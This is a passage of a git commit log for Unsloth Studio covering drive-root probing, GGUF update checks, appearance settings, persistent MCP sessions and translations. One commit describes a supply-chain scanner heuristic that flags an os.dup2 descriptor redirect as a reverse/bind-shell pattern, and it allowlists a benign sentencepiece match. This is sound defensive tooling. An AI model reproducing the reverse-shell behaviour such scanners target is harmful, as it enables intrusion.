disconnected mapped drive waiting out its probe timeout stalled every other
request. Declare it sync 'def' so FastAPI runs it in the threadpool, matching
the hub browse endpoint. No await was used in the body.
- test_browse_folders_hides_sensitive_dirs monkeypatched _build_browse_allowlist
with a zero-arg lambda; the once-per-request refactor now calls it with
(media_roots, drive_roots), so the lambda raised TypeError. Accept and ignore
the args.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: probe Windows drive roots concurrently so multiple dead mappings don't stack timeouts
windows_drive_roots() probed each candidate serially, so N disconnected-but-mapped network drives each paid the full per-drive timeout in turn (e.g. four stale mappings added ~8s to every folder-browser request). Collect the candidate roots first, then probe them all at once under a single overall deadline, so the added delay stays at ~one timeout regardless of how many drives are disconnected. _readable_dir_within stays as a thin single-path wrapper for its existing callers/tests.
* Studio: tighten comments in the folder-browser drive-root changes
Condense the comments and docstrings added by the Windows drive-root and
system-directory denylist work to be shorter and clearer while keeping the
security and correctness rationale intact. Comment and docstring text only;
no code changes.
* Studio: iterate the input, not the results dict, when collecting readable drive probes
_readable_dirs_within returned {path for path, ok in results.items()...}, but a probe thread that exceeded the join deadline is still alive and can insert its key into results during that iteration, raising 'dictionary changed size during iteration' -- reachable exactly in the disconnected-mapped-drive case the probe exists for. Iterate the fixed input list and read results.get(path) (an atomic read) instead.
* Studio: keep the browse-route containment tests denylist-inert so they pass on macOS
test_browse_folders_route.py exercises allowlist containment and the file-vs-directory guard, not the system-directory denylist. On macOS pytest tmp_path resolves under /private/var, a denied prefix, so _resolve_browse_target 403s the fixture dirs before the containment logic runs (4 failures). Add an autouse fixture that makes is_denied_system_path inert in this file; the denylist keeps its own coverage in test_browse_denylist.py.
* Studio: keep the hub browse tests denylist-inert so they pass on macOS
* Studio: register a UNC share root; only reject local filesystem roots
* Studio: reject device drive roots and browse a registered UNC share root
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: treat device-namespace volume GUID roots as local filesystem roots
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix: name unsloth_vllm_standby parameter in vLLM standby error
FastBaseModel.from_pretrained's vLLM-standby guard raised
"UNSLOTH_VLLM_STANDBY is True, but UNSLOTH_VLLM_STANDBY is not set to 1",
naming the environment variable in both clauses. The value that is True is
the unsloth_vllm_standby parameter, not the env var, so the message was
self-contradictory. Name the parameter in the first clause, matching the
sibling guard in FastLlamaModel.from_pretrained.
Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remove vLLM standby error message test
---------
Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
RawTextDataLoader.smart_chunk_text takes chunk_size and stride as its own
arguments, so a direct call with stride >= chunk_size bypasses the
constructor validation. In that case `start_idx += chunk_size - stride` is
non-positive, so start_idx never advances past the first window and the
chunking loop never terminates (hangs).
Re-add the chunk_size/stride guard at the top of smart_chunk_text so direct
callers fail fast with a clear ValueError. The constructor keeps its own
guard for the internal callers (defense in depth). Add a regression test
that calls smart_chunk_text directly with stride == chunk_size and
stride > chunk_size and asserts it raises instead of hanging.
Signed-off-by: Anas Khan <83116240+anxkhn@users.noreply.github.com>
* Studio: fix the permanent GGUF "update available" on no-symlink caches
Without the symlink privilege (the default on Windows with Developer Mode
OFF), hf_hub_download MOVES the downloaded blob into snapshots/ instead of
symlinking it out of blobs/, so blobs/ is left empty and scan_cache_dir
reports blob_path = the snapshot file itself. Path(blob_path).name is then
the GGUF FILENAME, not the file's etag.
_repo_gguf_blob_map recorded that filename as the file's local blob hash, so
_variant_update_available_from_requirement's `remote_sha256 in local_set`
test could never match and every cached GGUF reported "update available"
forever. Re-downloading could not clear it: the same file is rewritten, still
with no blob.
Only treat Path(blob_path).name as a hash when the file really lives in the
cache's blobs/ dir; otherwise record a size identity so the file still appears
in the map (dropping it would make the update check read it as absent and
report the same phantom update). The comparison falls back to the remote
ExpectedFile.size only when the cached file carries no blob hash, so the
blob-hash path is unchanged wherever HF does produce blobs.
A remote requant that keeps the byte size identical is not detected in that
layout; re-hashing multi-GB GGUFs on the inventory hot path is the only
stricter option.
Fixes#7060
* Studio: match GGUF update checks by manifest sha256, closing the equal-size requant blind spot (#7060)
On a no-symlink cache (Windows without Developer Mode) blobs/ is empty, so the update check falls back to comparing byte size. A Studio download records each file's sha256 in its manifest, so feed that into the local identity set: the check can then match by hash and detect an equal-size requant. The size fallback now applies only when no real hash is present, so a manifest hash that differs is still reported as a genuine update. Adds regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Revert the manifest-sha256 identity merge; keep the size-identity fallback (#7060)
The download manifest is written before the transfer with the expected remote hashes, so it records download intent, not verified on-disk content, and completion is checked by size only. Merging those hashes into the local identity set could clear the update badge for an interrupted equal-size update that left the old bytes on disk. The accompanying all-size-identity gate also suppressed the size fallback whenever an older revision contributed a real blob hash, which re-showed a false update on mixed hash and size caches. Restoring the plain size-identity fallback keeps the fix without those regressions.
* Studio: don't delete no-symlink GGUFs during stale-variant reclaim (#7060)
On a no-symlink cache (Windows without Developer Mode) the downloaded file is moved into snapshots/ and scan_cache_dir reports its blob_path as that snapshot file, whose name is the filename, not an etag. reclaim_replaced_gguf_variant treated that name as a blob hash, which never matches the current hashes to keep, so it unlinked the freshly downloaded file. Only extract a deletable hash when the blob path is a real cache blob under the repo blobs directory, and keep any file we cannot identify; stale no-symlink revisions leak rather than risk removing the current file. Adds a regression test.
* Studio: anchor GGUF blob-hash detection to the repo cache blobs dir (#7060)
The inventory update check and the stale-variant reclaim both decide whether a scanned file is a real cache blob (name is the etag) or a moved no-symlink snapshot file (name is the filename). Both now share one _is_real_cache_blob helper that anchors to the repo cache blobs directory instead of matching any parent folder named blobs, so a repo that ships GGUFs under its own blobs subdir is no longer misread as the cache blob store. Threads repo_path through _repo_gguf_blob_map. Adds a regression test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten comments in the GGUF update-check helpers (#7060)
Post-review comment pass: shorten the internal blob-identity and size-fallback docstrings. Comments only, no behavior change.
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: pin llama.cpp update apply to the release the banner offered
* Document the pinned walk-back trade-off and cover win32
* Trim the pin comments
* Studio: verify a pinned llama.cpp update landed on the pinned release
The pin passes --published-release-tag so the installer resolves exactly the offered release. Also verify the result: if the post-install marker stays on the pinned repo but reports a different tag, the installer ignored the pin, so fail with a retryable error instead of a false success. A Vulkan/Intel host legitimately reroutes fork to upstream and drops the pin, so the check is scoped to the pinned repo.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Unsloth: appearance palettes, customization options, and control restyle
Adds Standard, Classic, and Minimal color palettes to Appearance settings,
each adapting to light and dark mode. Classic is a neutral enterprise look
that reserves its blue accent for toggles, badges, and focus rings; Minimal
is strictly black, grey, and white.
Adds customization options scoped to the active mode: accent, background,
and foreground colors with an in-app color picker, UI and code fonts with a
searchable dropdown covering bundled, device, and imported fonts, font file
import, UI and code font sizes, contrast, pointer cursors, reduce motion,
font smoothing, and translucent sidebar. Settings persist through the
personalization API with backend validation and sync across devices.
Restyles core controls for a cleaner, flatter look in both modes: bordered
white input fields, fully rounded pills for single-row controls, no drop
shadows, simple straight-line chevrons replacing all rounded arrow icons,
and consistent hover tones in dropdown menus. Popovers now portal into the
open dialog so their lists scroll correctly inside modal dialogs.
Moves Language into General settings and Chat defaults into the Chat tab
above the Canvas section.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Unsloth: appearance follow-ups, font options, and settings search
Neutralizes focus and selection rings across all palettes so highlighted
elements, including typing boxes and the selected palette card, never take
the accent color. The custom accent no longer recolors rings.
Restyles the color controls as filled pills showing the hex value inside,
with text and border contrast picked from the color's luminance. Menus in
popovers now match the app's dropdown menus: rounded-lg corners, tighter
padding, accent hover rows, and a bordered search field. Popovers inside
modal dialogs are modal so their lists scroll with the wheel. Outline
buttons share the same dark fills as dropdown triggers.
Adds heading and chat font options next to the UI and code fonts, each
using the searchable font dropdown and persisting through the
personalization API. Removes the translucent sidebar option end to end.
Adds settings search: a search field at the top of the settings sidebar
that filters setting names across every tab, grouped by tab with icons,
and jumps to the tab on click.
* Unsloth: use the shared accent token for dark hover fills
The settings dialog nav, its close button, the model selector, and the
project switcher hovered with hardcoded blue tinted greys (#3a3d43,
#2d2e32) in dark mode while every menu and sidebar uses --accent. All
hover and active pill fills now use the accent token so dark hovers are
the same everywhere and adapt to the active palette.
* Unsloth: settings search polish and jump to matched setting
Widens the settings dialog to 880px and the sidebar column to 248px so
the search field has more room. The search pill aligns with the left
start of the Settings title, gets more spacing above and below, and its
icon and placeholder sit slightly further left.
Search results now jump to the exact setting: rows and sections expose
their label as a data attribute, and picking a result opens the tab,
scrolls the matched row into view, and flashes it briefly.
* Unsloth: settings search bar spans the full nav pill width
The search field now starts and ends at the same edges as the nav hover
pills instead of being inset to the title text.
* Unsloth: address review findings on motion, sync, and font limits
Reduce motion Off now opts back out of the OS reduced-motion preference
for CSS animations via a force-motion class that the media rules skip,
and forcing reduce motion On keeps the loader exceptions (spinners,
loading dots, progress bars) animating.
When the color scheme follows the system, the resolved mode is now part
of the theme store snapshot, so an OS scheme flip re-renders consumers
and reapplies per-mode custom colors instead of leaving stale inline
variables from the previous mode.
Imported fonts get an aggregate size cap (4.4M characters) on both the
frontend sanitizer and the backend model so the persisted store always
fits browser localStorage quotas, with a clear error toast when an
import would exceed it. Backend validation also tightens imported font
names (rejects CSS delimiter characters) and requires strict base64
font data URLs, matching the frontend patterns.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Unsloth: profile toggle to hide the sloth in the chat greeting
Adds a Show greeting sloth switch to Settings > Profile. The chat welcome
hides the mascot when it is off. The preference persists locally and
through the personalization API, with backend validation and tests, and
the row is reachable from settings search in all four locales.
* Unsloth: control restyle, dropdown scrolling, and palette consistency
Settings sidebar puts search on top with the tab list under a small
Settings label. Combobox popups scroll with the wheel inside dialogs by
falling back to manual list scrolling while a dialog scroll lock is
active, and the local model selector popover became modal for the same
reason. Number inputs swap native spinners for a shared grey stepper
that clamps to min, max, and step. Run settings fields in light mode use
the same white fill and border as the settings dialog. Selection and
focus rings derive from each palette's border color instead of near
black, hover borders soften the same way, the Classic sidebar stays
white like Standard, decorative greens follow the palette accent, and
meaning-carrying marks like the hub verified badge keep the brand green
in every palette.
* Unsloth: palette card selection keyed off the palette attribute
Switching palettes restyles the whole page the moment data-palette lands
on the html element, but the React re-render that moves the selection
classes arrives later, so the ring and check briefly stayed on the
previous card with the new palette's colors. The active ring and check
now key off html[data-palette] in CSS, so they swap in the same style
pass that swaps the tokens. Also adds breathing room around the settings
search bar and under the Settings label, shortens the greeting sloth
description, and renames the avatar section to Or pick a sloth profile
picture in all locales.
* Unsloth: restore neutral rings, drop the palette check, sidebar spacing
Puts the ring tokens back to their fixed per palette values and removes
the hover border darkening, undoing the derived border experiment. The
selected palette card no longer shows a check since the ring already
marks it. The settings sidebar search bar, nav pills, and search results
get a little side padding, and the Settings label lines up with the pill
text.
* Unsloth: indicator restyle, sidebar menu customization, edge fade toggle
- Derive focus and selection rings from the border color so indicators
stay 1px and adapt to every theme and palette
- Suppress mouse focus rings except on pressed controls to remove the
selection flash on the avatar and palette pickers
- Defer settings panel rendering so the active nav pill updates instantly
- Customizable sidebar user menu with drag to reorder and shortcuts to
the settings tabs
- Grey hover for the standard light palette instead of green
- Borderless controls in dark mode with fill based focus states
- Profile picture: no picture option, pencil edit icon, atomic selection
- Font dropdowns: narrower triggers and the resolved default shown as
Inter Variable (Default)
- System prompt border darkens on focus
- New appearance setting to swap edge fades for thin divider lines
- Move the theme bootstrap to an external script to satisfy CSP
* Unsloth: harden theme boot and Firefox scroll container focus
- Guard the theme and palette storage reads separately so a blocked
localStorage (private browsing) still resolves a mode from the OS
preference instead of skipping the boot entirely
- Firefox makes scrollable containers keyboard focusable and drew its
3px UA outline on them; swap it for the app's soft 1px indicator
* Unsloth: make the UI and code font settings reach the font utilities
The theme block declared the sans and mono stacks as literals, so
Tailwind inlined them into every font-sans and font-mono utility at
build time and the runtime overrides from Settings > Appearance never
applied. Reference the :root tokens instead, matching how the color
tokens already work.
* Unsloth: in-dropdown font upload, accent meters and avatar, naming cleanup
- Move font importing into each font dropdown: Upload and Select folder
sit side by side under the list, imported fonts get an inline remove,
and the standalone Import font row is gone
- Uploads reuse fonts the user already has (bundled, imported, or
installed, matched by file name with style suffixes stripped) instead
of embedding a duplicate copy; only new fonts are embedded
- Folder scan lists font files from a picked folder in every dropdown
for the session; picking one imports it through the same path
- Fallback avatar uses the control accent with a readable foreground
instead of the neutral primary that rendered black outside standard
- Monitor bars, progress defaults, sliders, and usage meters use the
control accent; warning and danger tiers stay amber and red
- User facing strings that called the app just Studio now say Unsloth
in all four locales, keeping Unsloth Studio and LM Studio intact
* Unsloth: left align the font upload actions and divide them
Upload and Select folder now read from the left like the list items,
with a short vertical rule between the two.
* Unsloth: keep sliders neutral and the chat greeting on Hellix
- Sliders are controls, not meters, so their fill goes back to the
neutral primary instead of the palette accent
- The base h1 rule reads --font-heading with !important and the chat
thread root resets that variable to the sans stack, which pulled the
greeting off Hellix; restore the stack on the greeting element
* Unsloth: move the None avatar cell last and keep footer actions on one line
- None sits after the sloth pictures instead of leading the grid
- Upload shrinks to its label so Select folder no longer wraps
* Unsloth: size the folder action to its label
Both footer actions now hug their content so the hover pill does not
stretch across the leftover row width.
* Unsloth: separators only between unrelated settings clusters
Rows inside a titled section are related, so the per row divide-y is
gone from SettingsSection. A SettingsGroupDivider marks the two real
boundaries in the theme section (colors to fonts, fonts to contrast)
and the Clear all chats row gets its destructive border back now that
divide-y no longer draws one for it.
* Unsloth: balance the two font upload actions
Both actions share the footer row evenly again; nowrap keeps Select
folder on one line at the narrower width.
* Unsloth: drop the theme section dividers and split the chat menu groups
The colors, fonts, and contrast rows read fine without rules, and the
chat menu gains its one real boundary between the pin toggles and the
disclaimer rows.
* Unsloth: normalize oversized sidebar menus and reject newline font data URLs
Two backend validation fixes in PersonalizationCustomization:
- sidebarMenu refused any list longer than the number of distinct ids
because Field(max_length) is enforced before the dedupe validator runs.
A stale or duplicated payload that would normalize to one entry per id
was rejected outright, defeating the normalizer that exists for exactly
that case. Cap the incoming list at a generous multiple so it reaches
the validator; a pathologically long list is still refused.
- The imported font dataUrl validator used re.match on a pattern ending
in $, which also matches just before a trailing newline, so
"data:font/woff2;base64,AAAA\n" passed even though the frontend JS
pattern rejects it. Use re.fullmatch for parity.
Adds covering tests for both.
* Unsloth: preview fonts in their own typeface and slim the color pills
- Every font dropdown entry, the default item, and the closed trigger
render in the font they name, falling back to the UI stack for
families the browser cannot resolve
- Color swatch pills drop from 36px to 28px so they sit closer to the
row label height
* Unsloth: drop the font row and theme section descriptions
The labels carry the meaning on their own; the mode switching note in
particular read long and confusing.
* Unsloth: let the chat greeting follow the heading font setting
The greeting stays on Hellix by default but adopts a chosen heading
font through a --custom-heading-font variable the applier sets only
while an override exists, so the thread root's sans reset for chat
prose no longer hides the user's pick from the greeting.
* Unsloth: divide the theme section clusters and align the color pill height
Separators return between colors and fonts and between fonts and
contrast, and the color pills share the 32px height of the font
dropdown triggers.
* Unsloth: color pills at half the dropdown width
Fixed w-24 against the w-48 font triggers, with tighter padding so the
hex value still fits.
* Studio: update dep-removal test after next-themes was replaced
The frontend no longer declares next-themes or imports it in src (it was
replaced by the custom theme store and boot script), so the checker now
reports its removal as a safe no-op. The C1 and C8 fixtures in
test_frontend_dep_removal.py still asserted next-themes was a used
dependency, which fails the studio frontend CI dependency-removal safety
check. Update C1 to expect a no-op PASS and drop next-themes from the C8
expected failures so the suite matches the checker's correct output.
* Studio: remove unused ageLabel and exportCollectionJsonl helpers
* Studio: fix blocked-storage theme desync, search jump race, font validation
- theme-store.ts: keep an in-memory currentTheme/currentPalette so a selected
value survives when localStorage is blocked (private browsing). The snapshots
previously re-read empty storage and reverted React state to the default while
the DOM already changed. The matchMedia handler no longer re-reads storage, so
it cannot clobber the in-memory choice; cross-tab storage events still adopt.
- settings-dialog.tsx: the search jump waited a single fixed 60ms for the
deferred tab panel to render, then silently missed under render lag. Retry
across animation frames until the target row exists, then scroll and flash.
- settings.py: apply the font-name character check to the four selected-font
fields (uiFont/headingFont/chatFont/codeFont), and forbid backslash, comma,
slash and control characters so a name cannot escape the quoted CSS
font-family or smuggle extra fallbacks. Adds covering tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix appearance customization edge cases for PR #7077
- Reset all local preferences now also clears palette and appearance customization
- Number input wrapper keeps full width so fields fill their flex/grid cell, and the stepper stays pinned to the field edge
- Number stepper snaps to the min anchored step grid like the native spinner instead of leaving a step-invalid value
- Code font now applies to chat code fences and inline code via a dedicated token
- Reduce motion (on/off) is honored by onboarding/tour confetti and the theme toggle view transition
- Re-importing a font under the same name with new bytes now swaps the FontFace
- Keep local customization when a synced record predates the customization field, and re-push it
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Align client font name sanitization with server validation for PR #7077
sanitizeFont now strips the same characters the backend _FONT_NAME_FORBIDDEN
rejects (backslash, slash, comma, backtick) plus control chars, so a locally
chosen font name can no longer pass the client but fail the personalization PUT
and silently stall appearance sync.
* Address follow-up review items for PR #7077
- Number input wrapper carries React Flow interaction classes (nodrag/nopan/nowheel) so clicking the stepper arrows increments instead of dragging the node
- Preserve local palette and greeting-sloth toggle when the synced record predates those fields, and re-push them, mirroring the customization handling (new paletteSaved and greetingSlothSaved response flags)
- Add settings-search scroll targets (data-settings-label) for the Profile title, description, display name, nickname, and avatar shape rows
* Preserve absent personalization fields on PUT for PR #7077
A stale client that omits palette or customization previously had those
defaults materialized by model_dump() and persisted, which flipped
paletteSaved/customizationSaved to true and defeated the legacy detection.
The PUT now dumps only the request's set fields and merges them onto the
stored record, so omitted fields keep whatever was already stored.
* Persist theme and palette via a fixed allow-list for PR #7077
The theme/palette values reach setTheme/setPalette from the authenticated
personalization sync, which made the CodeQL clear-text-storage query treat
writing them to localStorage as storing sensitive data. Store a re-derived
literal from a constant map instead, so a plain UI preference is not tracked
as sensitive; behavior is unchanged.
* Harden imported-font handling for PR #7077
- syncImportedFonts: a rejected FontFace.load() only clears the registry entry
if it still points at that face, so a same-name re-import while the old load
was pending is no longer untracked/leaked.
- Cap imported-font names to the backend length (100) so an over-long name can
no longer pass the client but fail the personalization PUT and stall sync.
- Add a backend test that a stale PUT preserves an existing stored palette and
customization (not just that absent fields stay absent).
* Return the merged personalization record from PUT
The PUT /personalization handler returned the request payload, which
Pydantic had already filled with defaults for any field the client
omitted. A partial or stale write (for example a client sending only
theme) therefore got back a response that contradicted both storage and
the next GET: preserved fields like palette and the custom font showed
their defaults instead of the stored values.
Return model_validate(merged) so the response mirrors what was stored.
The stored record is still the full merged dict, so legacy fields the
model does not know about are preserved as before.
* Fix small UI and keyboard-focus defects in appearance settings
- Settings search now scrolls to the result within its destination tab
instead of a same-named row in the previously rendered deferred tab
(for example "Storage" and "Models folder" appear in both General and
Resources).
- The reduce-motion segmented control honors its own Off/On/System choice
by reading useReducedMotionConfig instead of the OS-only useReducedMotion.
- The color picker saturation/value area is operable by keyboard, so the
role="slider" surface responds to the arrow keys it advertises.
- Profile avatars and palette cards show a visible keyboard focus ring
again.
- Guard the persisted appearance-customization write so a blocked or full
localStorage does not throw out of a store action, matching the theme
store.
- Import the appearance store symbols from the settings feature barrel.
* Tighten appearance fix comments
---------
Co-authored-by: shimmyshimmer <shimmyshimmer@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Studio: resolve llama.cpp prebuilts via the release-assets CDN to avoid GitHub API rate limits
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: resolve manifest-named prebuilt assets on the download-host fast path
Add tag-pinned CDN URLs for any manifest artifact whose hash is keyed under an
upstream-tag alias in the checksum asset, so the fast path resolves the same
assets the API path does. Cover the resolve body directly (only download_bytes
stubbed) and soften the doc's validation-equivalence wording.
* Studio: pin llama.cpp fast path to the releases/latest redirect tag
Derive the authoritative latest tag from GitHub's /releases/latest redirect
target instead of trusting the checksum asset's self-reported release_tag, so the
existing release_tag cross-check in parse_approved_release_checksums is a real
check again: a stale or mis-tagged checksum asset now falls back to the API. Pin
every fast-path URL to that tag. Fall back to the API on a manifest 404 as well,
since an in-progress release can publish the checksum asset before the manifest,
matching the sha256 404 handling. Document the releases/latest (created_at /
make_latest) versus published_at ordering divergence and why it is an accepted,
mitigated tradeoff.
* Studio: drop the llama.cpp prebuilt-resolution doc
Remove studio/docs/llama-cpp-prebuilt-resolution.md and the docstring pointer to
it; the resolution rationale (the created_at/make_latest vs published_at ordering
nuance) stays inline in _download_host_latest_release_tag.
* Studio: tighten llama.cpp download-host fast-path comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: persistent stdio MCP sessions so server state survives across tool calls
call_tool_sync spawned a fresh stdio subprocess per tool call
(keep_alive=False) and tore it down when the call returned, so any stateful
MCP server lost its state between calls: with @playwright/mcp,
browser_navigate opened the page in one subprocess and
browser_take_screenshot ran in a brand-new one, screenshotting about:blank.
Keep one connected client per (command, env) on a dedicated event-loop
thread and reuse it across calls:
- idle sessions are reaped after 5 minutes (in-flight calls excluded) and
everything closes at exit, preserving the old design's no-orphans property
- a dead subprocess is detected via is_connected() and retried once on a
fresh session; tool-level errors leave the session alone
- cancel and timeout semantics are unchanged, and a timed-out call does not
tear the session down
- updating a server's endpoint/env/enabled state or deleting it closes its
live session
- HTTP/SSE servers stay one-shot per call
* address review feedback
* fix stdio session cleanup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review: per-thread MCP scope, close-during-connect and abort races
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review: unblock no-limit calls on close, drain borrowers before close, scope closes to url+env
* don't retry sessions closed by config changes, re-verify server row before caching, keep env secrets out of generation keys
* fail fast on connect errors and make the stdio key-lock wait cancellable
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* quote MCP scope parts so IDs with colons can't collide
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* serialize per-session stdio calls, span one timeout budget across connect and call, hash urls in generation keys
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden persistent stdio MCP sessions: crash recovery, concurrency, scoping
- Evict a stdio session on any transport-level (non-ToolError) call failure and
do not replay it, so a mid-call subprocess crash can no longer poison the scope.
Never gate liveness on Client.is_connected() (it only reports that a session
object exists, not that the subprocess is alive); add a version-adaptive
dead-transport probe that works on fastmcp 3.0.2 and newer.
- Re-check closed/defunct/config and transport liveness after acquiring the call
lock, and retire a session before releasing the lock, so a queued same-scope
caller never reuses a session that another caller's timeout already retired.
- Force a ProactorEventLoop on Windows so the stdio transport can always spawn
subprocesses regardless of the active event-loop policy.
- Scope stdio sessions per conversation: require thread_id to persist, and tag
the fields so a session_id and a thread_id with the same value cannot collide.
A session_id alone is project-wide, so it now falls back to a safe one-shot
session instead of sharing browser/DB/REPL state across conversations.
- Forward thread_id on the Anthropic Messages path.
- Treat timeout=None as unlimited on connect and the key lock (was capped at 60s).
- Bound the session cache (default 32, override via
UNSLOTH_STUDIO_MAX_STDIO_MCP_SESSIONS) with LRU eviction of idle sessions.
- Run config_check on cache hits, and log a redacted exe#digest label instead of
the raw command so credentials in argv never reach the logs.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the stdio MCP session cache on release and skip close-generation for HTTP servers
Two fixes from review of the persistent stdio session lifecycle:
- Re-enforce the session cap when a session goes idle. A concurrent burst of
distinct-scope calls can overshoot the cap while every cached session is busy
(insert-time eviction only reclaims idle sessions), and the overshoot used to
persist until the 5-minute idle reaper. _release_stdio_session now trims the
idle overshoot back within the cap, without ever evicting an in-flight call.
- close_stdio_sessions() now no-ops for a specific non-stdio (HTTP/SSE) url.
Those transports are never cached as stdio sessions, so calling it on every
HTTP server update or delete used to accrue an unbounded close-generation entry.
Both are covered by regression tests that fail before the change and pass after.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the live stdio MCP session across a display-name rename
The edit dialog resends url, headers, and use_oauth unchanged whenever a
server is saved, so gating the tool-cache invalidation and stdio session
close on field presence dropped the persistent process on a plain rename
or any no-op edit. Gate on a real value change against the stored row so
only a genuine endpoint, auth, or enable change closes the session.
Regression tests: a rename that resends unchanged url/headers/oauth keeps
the session; a real command change still closes it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the stdio MCP session lifecycle
Collapse a few verbose comments to fewer lines with the wording preserved,
and drop one that restated the clear_oauth_tokens_async docstring. Comments
only; no code change.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
The supply-chain scan gates on non-baselined CRITICAL/HIGH findings. A newer
sentencepiece release reindented the stdout/stderr fd-redirect helper in
sentencepiece/__init__.py (the os.dup2 pair the heuristic flags as a
reverse/bind-shell pattern), moving it from L1221/L1226 to L772/L777 and
changing its leading indentation.
The baseline key is (package, package-relative file, check, evidence_hash),
where evidence_hash is over the matched code with the L<NN>: markers stripped
but the code's own indentation preserved. The reindent therefore changed the
hash (bba233.. -> 65b5a11c..), so the existing entry no longer suppressed the
finding and it resurfaced as a blocking CRITICAL in the hf-stack and studio
scan legs.
Add the new indentation variant to the allowlist. The calls are sentencepiece
redirecting stdout/stderr file descriptors to capture its C++ logs, not a
shell; no socket or networking is involved. The old L1221 entry is kept so
both versions stay covered.
* Studio: add 7 display languages, complete and fix existing locales
Adds fully translated French, German, Spanish, Hindi, Arabic, Russian and
Korean locales. Fills in all missing keys for zh-CN (113), ja (71) and
pt-BR (47), fixes translation errors found in review, and reorders the
language dropdown by popularity. All overlays pass check-parity with zero
missing keys and zero placeholder mismatches.
* Studio: default display language to auto detect
The language preference now defaults to auto and resolves against the
browser language list, with exact tag match first and language subtag
match second (pt-PT resolves to pt-BR, zh-TW to zh-CN). Auto detect is
the first dropdown option and is translated in every locale. Explicit
choices still persist and sync; personalization sync now round trips
the preference instead of the resolved locale so auto stays auto across
devices. Auto mode also follows browser languagechange events.
* Studio: guard import.meta.env in translate for non-Vite contexts
translate() read import.meta.env.DEV directly, which throws when the
module runs outside Vite (SSR or Node tooling). Optional-chain it so the
dev-only warning is skipped and translation still works everywhere.
* Studio: RTL for Arabic, translate recipes, keep Traditional Chinese off zh-CN
- Sync document dir from a per-locale dir field so Arabic mirrors the
layout instead of rendering RTL text in an LTR shell.
- Translate the recipes nav label in fr, de, ko and hi to match the
other locales (Recettes, Rezepte, and native forms).
- Detection no longer maps Traditional Chinese (zh-Hant / zh-TW / zh-HK /
zh-MO) to Simplified zh-CN; those tags fall through to the next
preferred language. Simplified tags (zh, zh-CN, zh-SG, zh-Hans) still
resolve to zh-CN.
* Studio: don't treat legacy synced English as an explicit language pick
The old sync serialized the resolved locale on every save, so existing
profiles carry appearance.language 'en' even when the user never chose a
language. Hydrating that as a pinned locale forced non-English browsers
back to English under the new Auto detect default. Payloads now carry
version 2 (the preference itself); on hydrate a version 1 'en' maps to
auto, while explicit picks and all version 2 values are kept as-is.
* Studio: persist only known language codes from the locale table
normalizePreference now returns a value re-derived from the LOCALES keys
instead of the raw input. It stays functionally identical (the stored
value was already whitelisted) but makes it explicit that only known,
non-sensitive language codes are written to localStorage, and clears a
false-positive clear-text-storage scan on the persistence path.
* Studio i18n: fix Train label transliteration and tidy locale consistency
- ja and hi: the nav and route Train label used the railway transliteration
(トレイン and ट्रेन); switch to the training term already used everywhere
else in each file (トレーニング, ट्रेनिंग).
- zh-CN: keep VRAM in English to match every other locale and the PR's own
keep-English rule, and drop an extra clause added to the upload size hint
so it matches the English source.
- hi: translate Recents to हाल के in the export and import section to match
the sidebar label, and point users to the Configure tab by its translated
name (कॉन्फ़िगर).
- ru: reword the preview sharing hint to avoid the "disable to disable"
repetition.
i18n parity and the type checked build stay green.
* Studio i18n: keep Arabic layout LTR until physical-direction CSS is converted
Setting ar to dir rtl only mirrors the flex based shell, sidebar and
settings dialog. The shared select, dialog and dropdown primitives use
physical-direction utilities (right-2, top-5 right-5, ml-auto) that do not
flip under dir rtl, so chevrons, close buttons and check marks land on the
wrong side. Keep Arabic on an LTR layout for now, matching the original plan
in this PR. Arabic text still renders right to left per element via bidi and
chat content keeps dir auto, so nothing regresses. Full layout mirroring can
